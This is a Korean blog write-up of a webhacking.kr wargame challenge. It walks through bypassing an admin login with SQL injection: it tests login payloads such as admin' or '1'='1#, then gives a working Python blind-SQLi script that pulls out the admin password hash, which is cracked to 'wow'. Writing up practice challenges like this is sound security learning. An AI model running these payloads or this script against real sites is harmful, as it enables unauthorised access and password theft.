1. 문제풀이
- 이번문제는 SQLi를 이용해 admin 계정으로 로그인을 우회하는 문제이다.
- 먼저 회원가입을 통해 계정을 하나 생성해 정상적으로 로그인을 해보겠다.
- red 계정으로 회원가입 후 로그인을 해보니 설정한 비밀번호가 해시화되어서 화면에 출력된다.
- hash값으로 보았을 때 md5인것으로 추측된다.
- 해당 해시값을 md5복호화 사이트에서 복호화 해본 결과 다음과 같이 나온다.
- 설정한 비밀번호는 '1234' 이지만 뒤에 apple이 같이 출력되는것으로 보아 apple은 salt값으로 추측된다.
- salt란 보안강화를 위해 비밀번호 뒤에 임의의 문자를 덧붙이는 것이다.
- 그럼 이제 admin계정으로 로그인 우회를 하기 위해 공격을 시도해보겠다.
- admin' or '1'='1# 구문을 대입해 공격을 시도해보니 로그인이 되지는 않지만 위와같은 화면이 출력된다.
- admin' and '1'='1# 구문을 대입해 공격을 시도해보니 위와같은 화면이 출력된다.
- 따라서, 참일경우 Wron password 구문이 출력되고, 거짓일 경우 Login Fail 이 출력되므로 참/거짓이 다르게 출력된다.
- 이러한 경우 우리는 Blind SQLi를 시도해볼 수 있다.
- 프록시 도구를 이용해 먼저 로그인 요청시 어떤 파라미터가 전송되는지를 다음과 같이 먼저 확인한다.
- 로그인 요청 시 uuid, pw 파라미터가 POST 방식으로 전달되는것을 확인할 수 있다.
- 위 정보들을 바탕으로 자동화 공격을 시도할 파이썬 코드를 작성한다.
파이썬 코드
import requests
url = 'https://webhacking.kr/challenge/bonus-2/index.php' #url 주소를 입력
cookies = {'PHPSESSID':''} #세션 쿠키를 입력
def find_pw_len():
pw_len = 0
while 1:
pw_len = pw_len+1
value = "admin' and length(pw) = {}#".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
params = {'uuid': value} # uuid에 Payload 코드 삽입
response = requests.post(url, data=params, cookies=cookies) #POST를 통해 전달
print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
print(value) # 전달되는 Payload 코드 확인
if "Wrong" in response.text:
break
return pw_len #pw 길이 반환
def find_pw_str(pw_len):
pw_str = ""
for len in range(1,pw_len+1):
for ascii in range(33,127):
value = "admin' and (ascii(substring(pw,{},1))>{})#".format(len,ascii) # 반복하면서 pw를 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
params = {'uuid': value} # uuid에 Payload 코드 삽입
response = requests.post(url, data=params, cookies=cookies) # POST를 통해 전달
print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
print(value) # 전달되는 Payload 코드 확인
if "Fail" in response.text:
pw_str+=chr(ascii) #참이라면 ascii코드를 char형으로 변경해서 저장
break
return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
print("비밀번호 : \n"+find_pw_str(find_pw_len()))
- 위 코드를 실행시키면 다음과 같이 해시화된 비밀번호를 알 수 있다.
- 실제 비밀번호를 알아내기 위해서 해시값을 아까와 같이 복호화 한다.
- 복호화를 해본 결과 wowapple 이라는 실제 비밀번호가 출력된다.
- 하지만 apple은 salt값이니 제외하고 실제 비밀번호는 wow이다.
- 이제 필요한것을 다 얻었으니 굳이 로그인 우회가 아니라 그냥 비밀번호를 치고 들어가면 된다.
'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글
WebHacking.kr(#40) (1) | 2023.04.24 |
---|---|
WebHacking.kr(#47) (0) | 2023.04.13 |
WebHacking.kr(#25) (0) | 2023.04.13 |
Lord of SQLi(#12 darkknight) (0) | 2023.01.05 |
Lord of SQLi(#11 golem) (0) | 2023.01.04 |